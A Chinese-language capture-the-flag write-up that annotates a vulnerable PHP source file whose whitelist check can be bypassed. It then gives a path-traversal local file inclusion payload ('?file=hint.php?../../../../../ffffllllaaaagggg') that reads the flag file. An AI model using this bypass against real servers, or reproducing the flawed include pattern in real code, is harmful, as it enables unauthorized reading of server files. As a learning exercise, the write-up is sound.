进去本来有张滑稽的
F12查看源码找到source.php 并访问
获得题目源码 并分析
<?php
highlight_file(__FILE__); //高亮文件
class emmm //声明emmm类
{
public static function checkFile(&$page) //声明方法 一个waf
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 将source.php 和 hint.php 视为白名单 若要构造 必须有这2个
if (! isset($page) || !is_string($page)) { //isset判断 $page是否声明 is_string 判断 $page是否为字符串
echo "you can't see it"; //满足条件 输出
return false;
}
if (in_array($page, $whitelist)) { //in_array 判断$page中参数是否在$whitelist中 其实就是判断 参数中是否有hint.php 或者 source.php
return true; //有 返回真
}
$_page = mb_substr( //mb_substr mb_substr() 截取字符串中指定长度字符 mb_strpos()是匹配?前的字符 意思是 参数中必须要有的 hint.php? 或者source.php? 不然过不了白名单
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //判断截取的是否在白名单 如果传入参数 hint.php? 截取完就是 hint.php 故在白名单
return true;
}
$_page = urldecode($page); //下面的类似 只不过 是先解码 在截取判断
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //判断file传参的值是否为空
&& is_string($_REQUEST['file']) //判断值是否为字符串
&& emmm::checkFile($_REQUEST['file']) //调用方法去核对传入参数 也就是把值传给了$page
) {
include $_REQUEST['file']; //都满足的话 file传的文件 应该是本地包含 到这个php
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
} //这个不重要
?>
先访问 hint.php hint是提示
说明存在一个ffffllllaaaagggg的一个文件 在服务器上 需要构造 本地包含 将这个文件包含在source.php中
是file传参
python 构造
构造 poc 并获得flag 不进行 attack
payload经过上面的代码审计 可构造 payload:?file=hint.php?../../../../../ffffllllaaaagggg
不用加后缀 然后 ../有多少个需要自己判断 这里 它可能放在根目录了 ../ 是为了找哪个目录有这个文件名
致死点 : 文件包含 php审计